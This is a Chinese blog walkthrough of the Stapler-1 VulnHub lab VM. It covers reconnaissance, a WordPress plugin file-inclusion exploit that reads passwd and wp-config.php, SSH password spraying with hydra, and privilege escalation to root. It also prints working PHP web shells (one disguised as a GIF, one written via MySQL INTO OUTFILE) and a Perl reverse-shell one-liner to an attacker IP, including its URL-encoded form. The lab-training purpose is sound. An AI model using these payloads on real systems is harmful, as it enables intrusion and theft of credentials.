Stapler-1靶场&Stapler-1靶场安装&详解&渗透靶场练习&必练靶场&wordpress漏洞

下载链接:

Stapler: 1 ~ VulnHubStapler: 1, made by g0tmi1k. Download & walkthrough links are available.icon-default.png?t=N7T8https://www.vulnhub.com/entry/stapler-1,150/

安装:

如果在vm导入ovf文件会提示报错信息

打开ovf文件,将文档中所有的Caption替换为ElementName

然后删除同一文件夹下的Stapler.mf文件

再重新导入ovf文件

在选择新虚拟机的存储路径时,应选择一个新的空目录导入,否则大概率会提示失败

如果出现该提示,直接选择重试

在开启靶场之前,先重新配置网卡,否则可能会出先靶场开启不完全,导致无法练习

改为桥接或者NAT模式(根据自己情况选择)

更改完成后再开启虚拟机,稍等片刻

靶场开启成功

正文:

先用nmap扫描靶机ip

nmap -sn 192.168.1.1/24

获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到Stapler文件夹下,命名为port方便后续查看

nmap -p- 192.168.1.36 -PN -r -oA Stapler/port

(-p-:对所有端口进行探测

   -PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

    -oA:输出到指定位置

     -r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

对扫描出来的端口进行指纹探测

筛选出带有”open“的行

cat Stapler/port.nmap| grep open|awk -F '/' '{print $1}'

以”/“为分隔符打印出第一列并把换行符改为逗号,方便复制

cat Stapler/port.nmap| grep open|awk -F '/' '{print $1}'|tr '\n' ','

nmap -p 21,22,53,80,139,666,3306,12380 192.168.1.36 -sC -sV -r -O --version-all -A -oA Stapler/server

 (-p:对指定的端口进行探测

   -sV:版本信息

   -sC:默认脚本扫描

    -A:启动Os检测,版本检测,脚本扫描和traceroute

   -O:探测操作系统信息

   --version-all:尽可能多的探测信息)

发现21端口具有未授权访问,账号是anonymous,我们进行登录查看

ftp 192.168.1.36

输入账号,密码直接回车

登录成功

该目录下有个note文件

我们下载下来看看

get note

退出frp,查看下note文件内容

我们只发现了有两个用户名,保存一下elly,john

访问80端口看下

没有东西,右键检查源代码也没有什么东西

我们用dirsearch对80端口进行目录爆破

dirsearch -u "192.168.1.36"

发现了三个文件,我们在网页上将三个文件下载下来

192.168.1.36/.bash_logout

发现文件中还是没有什么有用的东西

我们对该地址进行枚举看看

enum4linux 192.168.1.36

发现了一些用户名,我们将这些用户名保存下来

vim username.txt

单机键盘上的“i”键

将用户名复制进去

按esc后输入 :wq保存退出

以斜杠为分隔符打印出来第二列

cat username.txt|awk -F '\' '{print $2}'

以“空格”为分隔符保存第一列

cat username.txt | awk -F '\' '{print $2}'|awk -F ' ' '{print $1}' > username.txt
cat username.txt

该靶场的12380端口同样也是http服务,我们访问下看看

右键查看源代码也没有发现什么东西,那我们继续进行目录爆破试试

dirsearch -u "192.168.1.36:12380"

但是发现爆破出来0个目录

我们进行手动测试,发现在192.168.1.36:12380下无论输入什么url都会返回到该网址

那我们用bp抓下返回包看下

提示请求错误,可能是协议问题,我们现在是http协议,改为https协议试试

https://192.168.1.36:12380/

访问成功!

我们再用dirsearch去爆破下目录试试

dirsearch -u "https://192.168.1.36:12380/"

我们访问robots.txt目录后

发现了另外两个目录

进行访问查看

发现admin112233目录下会直接进行弹窗,并且bp拦截不到

那再kali中用curl进行分析看看

curl https://192.168.1.36:12380/admin112233/ -k

(-k:忽略证书验证)

根据提示,我们在浏览器中禁止js运行再看看(火狐浏览器在网址处输入 about:config,其他浏览器请自行百度)

他说给自己一个cookie,js没有运行,但是经过测试,他并没有给我cookie,并且我通过抓包给自己添加cookie参数也没有任何反应

我们去访问另一个目录看看有没有什么发现

在该界面的最下方发现为wordpress

我们在爆破一下目录看看

​dirsearch -u "https://192.168.1.36:12380/blogblog/"

进入该网址查看

https://192.168.1.36:12380/blogblog/wp-content/

https://192.168.1.36:12380/blogblog/wp-content/

https://192.168.1.36:12380/blogblog/wp-content/

发现了他的插件目录

我们到kali去搜索插件漏洞看看

searchsploit wordpress advanced video

是个本地文件包含漏洞

我们将该py脚本复制下来看看

searchsploit wordpress advanced video -m 39646.py

我们查看下当前脚本

cat 39646.c

给到了我们poc

但是我们需要修改文件中给到的url

vim 39646.py

按下键盘上的“i”键

然后将此处的url改为靶场地址

https://192.168.1.36:12380/blogblog/

https://192.168.1.36:12380/blogblog/

https://192.168.1.36:12380/blogblog/

修改完成后按esc,输入  ”:wq“进行保存

然后使用该脚本

python 39646.py

如果出现该提示,那我们就手动进行测试,毕竟py文件中已经提供给我们poc了

根据它所提供的poc,我们可以自己构造payload

https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=/etc/passwd

https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=/etc/passwd

https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=/etc/passwd

/etc/passwd  是读取/etc目录下的用户文件

我们可以在上传目录下发现一个新文件

我们单击打开发现报错了

那该文件可能不是图片

我们在kali中将该文件下载下来并进行查看

我们需要忽略掉证书检查参数为:--no-check-certificate

​wget https://192.168.1.36:12380/blogblog/wp-content/uploads/1581599171.jpeg --no-check-certificate

利用cat进行阅读该文件,发现我们确实读取到了用户文件,那么证明我们手动方法可行(这些用户我们之前在枚举中保存过)

我们构造一个新的payload进行读取账号密码

根据py脚本,我们可以构造一个payload进行读取mysql账号密码

https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=wp-config.php

https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=wp-config.php

https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=wp-config.php

发现报错了,那么这个文件可能并不在当前目录下,我们一层层往外读取看看

https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php

https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php

https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php

这次没有报错,我们回到uploads目录下找最新时间的文件

并用同样的方法在kali中下载下来

​wget https://192.168.1.36:12380/blogblog/wp-content/uploads/1892234301.jpeg --no-check-certificate

cat 1892234301.jpeg

发现账号密码,我们将该文件重命名,方便我们后续使用

mv 1892234301.jpeg mysql

我们可以尝试使用新思路

我们有这个密码和之前保存的用户名,我们可以尝试对ssh进行爆破

hydra 192.168.1.36 ssh -L username.txt -p plbkac

(-L:指定用户名文件  -l :指定用户名

    -P:指定密码文件 -p:指定密码)

发现确实存在!

获取shell

进行ssh登录

ssh zoe@192.168.1.36

提权

接下来进行提权操作

查找具有 Setuid 权限的文件的命令

find / -perm -u=s -type f 2>/dev/null

可以到该网站上进行查看(GTFOBins

发现并没有什么可以用来提权的

但是我们发现每个用户下都存在一个.bash_history文件

返回上一个目录

cd ..

查看所有文件夹下的.bash_history文件内容

cat ./*/.bash_history

(./:为当前目录

    *:通配符,表示所有文件夹)

我们发现了这两个东西(sshpass 是一个用于在命令行中自动提供 SSH 密码的工具。它允许您在不交互式地输入密码的情况下通过 SSH 连接到远程主机)

看来有获得了两个账号密码

我们保存一下

再次进行ssh登录,看有没有权限更高的用户

发现peter用户有所有权限

sudo su

获得root权限

我们同样可以通过之前获取到mysql账号密码进行下一步操作

获取shell2

mysql -uroot -pplbkac -h 192.168.1.36

登陆成功

查看数据库

show databases;

use wordpress;
show tables;

desc wp_users;

select user_login,user_pass from wp_users;

将其复制出来到sql.txt

我们利用筛选,留下账号密码密码并保存到sql.txt中

cat sql.txt|awk -F '|' '{print $2 $3}'>sql.txt

我们随便选两组密码去查看下是什么加密方式

hash-identifier

加密方式都是md5

通过md5解密网站获取到账号密码

john:incorrect

我们在

https://192.168.1.36:12380/blogblog/

该网站下尝试进行登录

登录成功后

在该位置发现文件上传

上传准备好的一句话木马

GIF89a

<?php

system($_GET['132']);

phpinfo();

?>

(phpinfo():方便我们查看有没有解析成功

    GIF89a:伪造文件头为gif)

上传成功

我们打开之前爆破到的文件上传处的地址

https://192.168.1.36:12380/blogblog/wp-content/uploads/

打开运行

成功解析,那我们给“132”传参试试

https://192.168.1.36:12380/blogblog/wp-content/uploads/back.php_.php?132=id

(该一句话用system可以传参数进行远程代码执行,不可用蚁剑等链接,用eval可以用蚁剑链接)

(在这里我没选择用蚁剑)

可以执行命令,那我们在kali中打开监听

nc -lvvp 8080

在URL中反弹shell

(可在该网站中生成反弹shell生成器 (ywhack.com)

perl -e 'use Socket;$i="192.168.1.35";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

(要进行URL编码再进行反弹shell,因为我们是在URL中输入,该指令的“&”符号在URL中的意思为传参数,所以要进行URL编码,该指令才会正常运行)

编码后

%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%39%32%2e%31%36%38%2e%31%2e%33%35%22%3b%24%70%3d%38%30%38%30%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%73%68%20%2d%69%22%29%3b%7d%3b%27

完整payload

https://192.168.1.36:12380/blogblog/wp-content/uploads/back.php_.php?132=%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%39%32%2e%31%36%38%2e%31%2e%33%35%22%3b%24%70%3d%38%30%38%30%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%73%68%20%2d%69%22%29%3b%7d%3b%27

获取shell成功

通过查看内核版本进行内核提权(可以看我以往的博客中,里面有写)

获取shell3

同样我们可以通过之前链接的数据库,发现mysql具有写入权限

我们也可以直接写入一句话木马

select "<?php system($_GET['132']); phpinfo();?>" into outfile '/var/www/https/blogblog/wp-content/uploads/shell.php';

同样可以在uploads文件夹中找到我们刚刚写入的shell文件

同样打开后可以进行代码执行,从而反弹shell,

接着可以使用Linux或者Ubantu内核进行提权(可以看我之前的博客中,有用到内核提权)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值